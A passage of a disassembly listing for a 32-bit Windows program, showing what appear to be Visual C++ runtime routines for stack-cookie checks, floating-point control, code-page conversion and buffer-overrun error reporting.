		lea	eax, [ebp+var_14]
		push	eax
		call	sub_420C87
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41FEB9
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_41C526
		leave
		retn
sub_41FEE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF28	proc near		; CODE XREF: sub_41BB7D+2Dp

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_420C87
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41FECF
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_41C526
		leave
		retn
sub_41FF28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF6B	proc near		; CODE XREF: sub_41BC86+4Dp
					; sub_41BD96+41p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+0Ch]
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		mov	eax, edi
		jle	short loc_41FFA8
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41FF8E:				; CODE XREF: sub_41FF6B+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41FF9A
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41FF9D
; ---------------------------------------------------------------------------


loc_41FF9A:				; CODE XREF: sub_41FF6B+27j
		push	30h
		pop	edx


loc_41FF9D:				; CODE XREF: sub_41FF6B+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41FF8E
		mov	edx, [ebp+arg_8]


loc_41FFA8:				; CODE XREF: sub_41FF6B+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41FFC1
		cmp	byte ptr [ecx],	35h
		jl	short loc_41FFC1
		jmp	short loc_41FFB9
; ---------------------------------------------------------------------------


loc_41FFB6:				; CODE XREF: sub_41FF6B+52j
		mov	byte ptr [eax],	30h


loc_41FFB9:				; CODE XREF: sub_41FF6B+49j
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_41FFB6
		inc	byte ptr [eax]


loc_41FFC1:				; CODE XREF: sub_41FF6B+42j
					; sub_41FF6B+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41FFCB
		inc	dword ptr [edx+4]
		jmp	short loc_41FFDD
; ---------------------------------------------------------------------------


loc_41FFCB:				; CODE XREF: sub_41FF6B+59j
		push	edi
		call	sub_419D00
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41EFF0
		add	esp, 10h


loc_41FFDD:				; CODE XREF: sub_41FF6B+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FF6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFE2	proc near		; CODE XREF: sub_42009C+1Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		push	ebx
		push	esi
		push	edi
		mov	edi, 7FFh
		mov	esi, 80000000h
		mov	[ebp+var_4], esi
		mov	ecx, eax
		shr	ecx, 4
		and	eax, 8000h
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		and	eax, 0FFFFFh
		test	ebx, ebx
		jz	short loc_420032
		cmp	ebx, edi
		jz	short loc_42002B
		lea	edi, [ecx+3C00h]
		jmp	short loc_420053
; ---------------------------------------------------------------------------


loc_42002B:				; CODE XREF: sub_41FFE2+3Fj
		mov	edi, 7FFFh
		jmp	short loc_420053
; ---------------------------------------------------------------------------


loc_420032:				; CODE XREF: sub_41FFE2+3Bj
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_42004A
		cmp	edx, ebx
		jnz	short loc_42004A
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420097
; ---------------------------------------------------------------------------


loc_42004A:				; CODE XREF: sub_41FFE2+54j
					; sub_41FFE2+58j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_420053:				; CODE XREF: sub_41FFE2+47j
					; sub_41FFE2+4Ej
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_42008E


loc_42006F:				; CODE XREF: sub_41FFE2+AAj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		shl	edx, 1
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_42006F


loc_42008E:				; CODE XREF: sub_41FFE2+8Bj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_420097:				; CODE XREF: sub_41FFE2+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42009C	proc near		; CODE XREF: sub_41BC86+23p
					; sub_41BD96+22p ...

var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FFE2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4210C1
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	[esi+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[esi], eax
		movsx	eax, [ebp+var_2C]
		mov	[esi+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	sub_41BF70
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 20h
		mov	[esi+0Ch], edi
		mov	eax, esi
		call	sub_41C526
		pop	edi
		pop	esi
		leave
		retn
sub_42009C	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_4185EA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_420117	proc near		; CODE XREF: sub_420237+Cp
		xor	eax, eax
		test	bl, 1
		jz	short loc_420121
		push	10h
		pop	eax


loc_420121:				; CODE XREF: sub_420117+5j
		test	bl, 4
		jz	short loc_420129
		or	eax, 8


loc_420129:				; CODE XREF: sub_420117+Dj
		test	bl, 8
		jz	short loc_420131
		or	eax, 4


loc_420131:				; CODE XREF: sub_420117+15j
		test	bl, 10h
		jz	short loc_420139
		or	eax, 2


loc_420139:				; CODE XREF: sub_420117+1Dj
		test	bl, 20h
		jz	short loc_420141
		or	eax, 1


loc_420141:				; CODE XREF: sub_420117+25j
		test	bl, 2
		jz	short loc_42014B
		or	eax, 80000h


loc_42014B:				; CODE XREF: sub_420117+2Dj
		push	ebp
		movzx	edx, bx
		push	esi
		mov	ecx, edx
		mov	esi, 0C00h
		and	ecx, esi
		push	edi
		mov	edi, 300h
		mov	ebp, 200h
		jz	short loc_420187
		cmp	ecx, 400h
		jz	short loc_420182
		cmp	ecx, 800h
		jz	short loc_42017E
		cmp	ecx, esi
		jnz	short loc_420187
		or	eax, edi
		jmp	short loc_420187
; ---------------------------------------------------------------------------


loc_42017E:				; CODE XREF: sub_420117+5Dj
		or	eax, ebp
		jmp	short loc_420187
; ---------------------------------------------------------------------------


loc_420182:				; CODE XREF: sub_420117+55j
		or	eax, 100h


loc_420187:				; CODE XREF: sub_420117+4Dj
					; sub_420117+61j ...
		and	edx, edi
		jz	short loc_420196
		cmp	edx, ebp
		jnz	short loc_42019B
		or	eax, 10000h
		jmp	short loc_42019B
; ---------------------------------------------------------------------------


loc_420196:				; CODE XREF: sub_420117+72j
		or	eax, 20000h


loc_42019B:				; CODE XREF: sub_420117+76j
					; sub_420117+7Dj
		test	bh, 10h
		pop	edi
		pop	esi
		pop	ebp
		jz	short locret_4201A8
		or	eax, 40000h

locret_4201A8:				; CODE XREF: sub_420117+8Aj
		retn
sub_420117	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201A9	proc near		; CODE XREF: sub_420237+22p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_4201B1
		inc	eax


loc_4201B1:				; CODE XREF: sub_4201A9+5j
		test	bl, 8
		jz	short loc_4201B9
		or	eax, 4


loc_4201B9:				; CODE XREF: sub_4201A9+Bj
		test	bl, 4
		jz	short loc_4201C1
		or	eax, 8


loc_4201C1:				; CODE XREF: sub_4201A9+13j
		test	bl, 2
		jz	short loc_4201C9
		or	eax, 10h


loc_4201C9:				; CODE XREF: sub_4201A9+1Bj
		test	bl, 1
		jz	short loc_4201D1
		or	eax, 20h


loc_4201D1:				; CODE XREF: sub_4201A9+23j
		test	ebx, 80000h
		jz	short loc_4201DC
		or	eax, 2


loc_4201DC:				; CODE XREF: sub_4201A9+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_420210
		cmp	ecx, 100h
		jz	short loc_42020B
		cmp	ecx, esi
		jz	short loc_420204
		cmp	ecx, edx
		jnz	short loc_420210
		or	eax, 0C00h
		jmp	short loc_420210
; ---------------------------------------------------------------------------


loc_420204:				; CODE XREF: sub_4201A9+4Ej
		or	eax, 800h
		jmp	short loc_420210
; ---------------------------------------------------------------------------


loc_42020B:				; CODE XREF: sub_4201A9+4Aj
		or	eax, 400h


loc_420210:				; CODE XREF: sub_4201A9+42j
					; sub_4201A9+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_420226
		cmp	ecx, 10000h
		jnz	short loc_420228
		or	eax, esi
		jmp	short loc_420228
; ---------------------------------------------------------------------------


loc_420226:				; CODE XREF: sub_4201A9+6Fj
		or	eax, edx


loc_420228:				; CODE XREF: sub_4201A9+77j
					; sub_4201A9+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_420236
		or	eax, 1000h

locret_420236:				; CODE XREF: sub_4201A9+86j
		retn
sub_4201A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420237	proc near		; CODE XREF: sub_420269+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		fstcw	word ptr [ebp+var_4]
		mov	ebx, [ebp+var_4]
		call	sub_420117
		mov	ebx, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	ebx, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	ebx, eax
		call	sub_4201A9
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_420237	endp


; =============== S U B	R O U T	I N E =======================================



sub_420269	proc near		; CODE XREF: sub_41BEEF+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420237
		pop	ecx
		pop	ecx
		retn
sub_420269	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42027F	proc near		; CODE XREF: sub_41C139+27Dp
					; sub_41E8E0+15Ep ...

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		and	[ebp+var_6], 0
		push	6
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		call	dword_42211C	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_4202B1
		or	eax, 0FFFFFFFFh
		jmp	short loc_4202BB
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_42027F+2Bj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416C0A
		pop	ecx


loc_4202BB:				; CODE XREF: sub_42027F+30j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_41C526
		leave
		retn
sub_42027F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4202C8	proc near		; CODE XREF: sub_41C139+2A8p
					; sub_41C139+366p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	38h
		push	offset stru_42CB80
		call	__SEH_prolog
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_20], edi
		mov	[ebp+var_24], edi
		mov	eax, [ebp+arg_C]
		mov	ebx, [eax]
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jz	loc_420471
		lea	ecx, [ebp+var_40]
		push	ecx
		push	eax
		mov	esi, dword_4221B4
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_42032F
		cmp	[ebp+var_40], 1
		jnz	short loc_42032F
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_42032F
		cmp	[ebp+var_40], 1
		jnz	short loc_42032F
		mov	[ebp+var_2C], 1


loc_42032F:				; CODE XREF: sub_4202C8+45j
					; sub_4202C8+4Bj ...
		cmp	[ebp+var_2C], edi
		jz	short loc_42034E
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_42033D
		mov	esi, ebx
		jmp	short loc_420349
; ---------------------------------------------------------------------------


loc_42033D:				; CODE XREF: sub_4202C8+6Fj
		push	[ebp+arg_8]
		call	sub_419D00
		pop	ecx
		mov	esi, eax
		inc	esi


loc_420349:				; CODE XREF: sub_4202C8+73j
		mov	[ebp+var_44], esi
		jmp	short loc_420351
; ---------------------------------------------------------------------------


loc_42034E:				; CODE XREF: sub_4202C8+6Aj
		mov	esi, [ebp+var_44]


loc_420351:				; CODE XREF: sub_4202C8+84j
		cmp	[ebp+var_2C], edi
		jnz	short loc_420370
		push	edi
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	dword_4220D4	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_44], esi
		cmp	esi, edi
		jz	short loc_4203C8


loc_420370:				; CODE XREF: sub_4202C8+8Cj
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_48], ebx
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	ebx
		call	sub_41E880
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4203B4
; ---------------------------------------------------------------------------


loc_42039D:				; DATA XREF: .text:stru_42CB80o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4203A1:				; DATA XREF: .text:stru_42CB80o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_44]


loc_4203B4:				; CODE XREF: sub_4202C8+D3j
		cmp	ebx, edi
		jnz	short loc_4203D6
		push	esi
		push	2
		call	sub_41E5AE
		pop	ecx
		pop	ecx
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_4203CF


loc_4203C8:				; CODE XREF: sub_4202C8+A6j
		xor	eax, eax
		jmp	loc_420483
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_4202C8+FEj
		mov	[ebp+var_24], 1


loc_4203D6:				; CODE XREF: sub_4202C8+EEj
		push	esi
		push	ebx
		push	[ebp+var_28]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	dword_4220D4	; MultiByteToWideChar
		test	eax, eax
		jz	loc_420474
		cmp	[ebp+arg_10], edi
		jz	short loc_420416
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_4220D8	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_420474
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		jmp	short loc_420474
; ---------------------------------------------------------------------------


loc_420416:				; CODE XREF: sub_4202C8+12Cj
		cmp	[ebp+var_2C], edi
		jnz	short loc_420431
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_4220D8	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420474


loc_420431:				; CODE XREF: sub_4202C8+151j
		push	esi
		push	1
		call	sub_41E5AE
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_420474
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_4220D8	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_420464
		push	[ebp+var_20]
		call	sub_416C97
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_420474
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_4202C8+18Cj
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_420474
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_420474
; ---------------------------------------------------------------------------


loc_420471:				; CODE XREF: sub_4202C8+30j
		mov	ebx, [ebp+var_48]


loc_420474:				; CODE XREF: sub_4202C8+123j
					; sub_4202C8+144j ...
		cmp	[ebp+var_24], edi
		jz	short loc_420480
		push	ebx
		call	sub_416C97
		pop	ecx


loc_420480:				; CODE XREF: sub_4202C8+1AFj
		mov	eax, [ebp+var_20]


loc_420483:				; CODE XREF: sub_4202C8+102j
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_41C526
		call	__SEH_epilog
		retn
sub_4202C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420497	proc near		; DATA XREF: .text:0042E004o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_422160	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	dword_4220F8	; GetCurrentProcessId
		xor	esi, eax
		call	dword_422178	; GetCurrentThreadId
		xor	esi, eax
		call	dword_42201C	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_422038	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		mov	dword_432A48, esi
		jnz	short loc_4204EA
		mov	dword_432A48, 0BB40E64Eh


loc_4204EA:				; CODE XREF: sub_420497+47j
		pop	esi
		leave
		retn
sub_420497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204ED	proc near		; CODE XREF: sub_41C526-1Dp

var_140		= dword	ptr -140h
var_128		= byte ptr -128h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	118h
		push	offset stru_42CD30
		call	__SEH_prolog
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		mov	eax, dword_4814BC
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_420531
		mov	[ebp+ms_exc.disabled], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		pop	ecx
		pop	ecx


loc_42051F:				; CODE XREF: sub_4204ED+42j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_42062F
; ---------------------------------------------------------------------------


loc_420528:				; DATA XREF: .text:stru_42CD30o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_42052C:				; DATA XREF: .text:stru_42CD30o
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	short loc_42051F
; ---------------------------------------------------------------------------


loc_420531:				; CODE XREF: sub_4204ED+23j
		mov	eax, [ebp+arg_0]
		dec	eax
		jz	short loc_42054A
		mov	edi, offset aUnknownSecurit ; "Unknown security	failure	detected!"
		mov	[ebp+var_20], offset aASecurityError ; "A security error of unknown cause has b"...
		mov	esi, 0D4h
		jmp	short loc_42055B
; ---------------------------------------------------------------------------


loc_42054A:				; CODE XREF: sub_4204ED+48j
		mov	edi, offset aBufferOverrunD ; "Buffer overrun detected!"
		mov	[ebp+var_20], offset aABufferOverrun ; "A buffer overrun has been detected whic"...
		mov	esi, 0B9h


loc_42055B:				; CODE XREF: sub_4204ED+5Bj
		mov	[ebp+var_24], cl
		push	104h
		lea	eax, [ebp+var_128]
		push	eax
		push	ecx
		call	dword_42200C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_420588
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_41BF70
		pop	ecx
		pop	ecx


loc_420588:				; CODE XREF: sub_4204ED+86j
		lea	ebx, [ebp+var_128]
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_419D00
		pop	ecx
		add	eax, 0Bh
		cmp	eax, 3Ch
		jbe	short loc_4205CC
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_419D00
		mov	ebx, eax
		lea	eax, [ebp+var_128]
		sub	eax, 31h
		add	ebx, eax
		push	3
		push	offset a___	; "..."
		push	ebx
		call	sub_4169C0
		add	esp, 10h


loc_4205CC:				; CODE XREF: sub_4204ED+B4j
		push	ebx
		call	sub_419D00
		pop	ecx
		lea	eax, [eax+esi+0Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		push	edi
		push	esi
		call	sub_41BF70
		mov	edi, offset asc_42C990 ; "\n\n"
		push	edi
		push	esi
		call	sub_41BF80
		push	offset dword_42CB8C
		push	esi
		call	sub_41BF80
		push	ebx
		push	esi
		call	sub_41BF80
		push	edi
		push	esi
		call	sub_41BF80
		push	[ebp+var_20]
		push	esi
		call	sub_41BF80
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	esi
		call	sub_42077B
		add	esp, 3Ch


loc_42062F:				; CODE XREF: sub_4204ED+36j
		push	3
		call	sub_4183C4
		int	3		; Trap to Debugger


loc_420637:				; DATA XREF: sub_42067Do
					; .text:00432A4Co
		push	esi
		mov	esi, [esp+148h+var_140]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42065A
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42065A
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42065A
		call	sub_41CE51


loc_42065A:				; CODE XREF: sub_4204ED+157j
					; sub_4204ED+15Dj ...
		mov	eax, dword_4814C0
		test	eax, eax
		jz	short loc_420677
		push	eax
		call	sub_4206D5
		test	eax, eax
		pop	ecx
		jz	short loc_420677
		push	esi
		call	dword_4814C0
		jmp	short loc_420679
; ---------------------------------------------------------------------------


loc_420677:				; CODE XREF: sub_4204ED+174j
					; sub_4204ED+17Fj
		xor	eax, eax


loc_420679:				; CODE XREF: sub_4204ED+188j
		pop	esi
		retn	4
sub_4204ED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42067D	proc near		; DATA XREF: .text:0042E01Co
		push	offset loc_420637
		call	dword_422148	; SetUnhandledExceptionFilter
		mov	dword_4814C0, eax
		xor	eax, eax
		retn
sub_42067D	endp


; =============== S U B	R O U T	I N E =======================================



sub_420690	proc near		; DATA XREF: .text:0042E034o
		push	dword_4814C0
		call	dword_422148	; SetUnhandledExceptionFilter
		retn
sub_420690	endp


; =============== S U B	R O U T	I N E =======================================



sub_42069D	proc near		; CODE XREF: sub_41C92A+53p
					; sub_41C92A+8Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	dword_422144	; IsBadReadPtr
		test	eax, eax
		jz	short loc_4206B5
		xor	esi, esi


loc_4206B5:				; CODE XREF: sub_42069D+14j
		mov	eax, esi
		pop	esi
		retn
sub_42069D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B9	proc near		; CODE XREF: sub_41C92A+65p
					; sub_41C92A+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	dword_422198	; IsBadWritePtr
		test	eax, eax
		jz	short loc_4206D1
		xor	esi, esi


loc_4206D1:				; CODE XREF: sub_4206B9+14j
		mov	eax, esi
		pop	esi
		retn
sub_4206B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206D5	proc near		; CODE XREF: sub_41C92A+128p
					; sub_4204ED+177p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		xor	esi, esi
		inc	esi
		call	dword_422140	; IsBadCodePtr
		test	eax, eax
		jz	short loc_4206E9
		xor	esi, esi


loc_4206E9:				; CODE XREF: sub_4206D5+10j
		mov	eax, esi
		pop	esi
		retn
sub_4206D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41CE51


loc_4206ED:				; CODE XREF: sub_41CE51:loc_41CE81j
		push	0Ah
		call	sub_41D8F7
		push	16h
		call	sub_421383
		pop	ecx
		pop	ecx
		push	3
		call	sub_4183C4
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_41CE51

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420705	proc near		; CODE XREF: sub_41D4FC+7p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_42CD40
		call	__SEH_prolog
		cmp	dword_482964, 3
		jnz	short loc_420754
		push	4
		call	sub_41A166
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41A1DF
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_420742
		mov	esi, [esi-4]
		sub	esi, 9
		mov	[ebp+var_20], esi
		jmp	short loc_420745
; ---------------------------------------------------------------------------


loc_420742:				; CODE XREF: sub_420705+30j
		mov	esi, [ebp+var_20]


loc_420745:				; CODE XREF: sub_420705+3Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_420772
		cmp	[ebp+var_1C], 0
		jnz	short loc_420767


loc_420754:				; CODE XREF: sub_420705+13j
		push	[ebp+arg_0]
		push	0
		push	dword_482960
		call	dword_42213C	; RtlSizeHeap
		mov	esi, eax


loc_420767:				; CODE XREF: sub_420705+4Dj
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_420705	endp


; =============== S U B	R O U T	I N E =======================================



sub_42076F	proc near		; DATA XREF: .text:stru_42CD40o
		mov	esi, [ebp-20h]
sub_42076F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420772	proc near		; CODE XREF: sub_420705+44p
		push	4
		call	sub_41A0D2
		pop	ecx
		retn
sub_420772	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42077B	proc near		; CODE XREF: sub_41D8F7+132p
					; sub_4204ED+13Ap

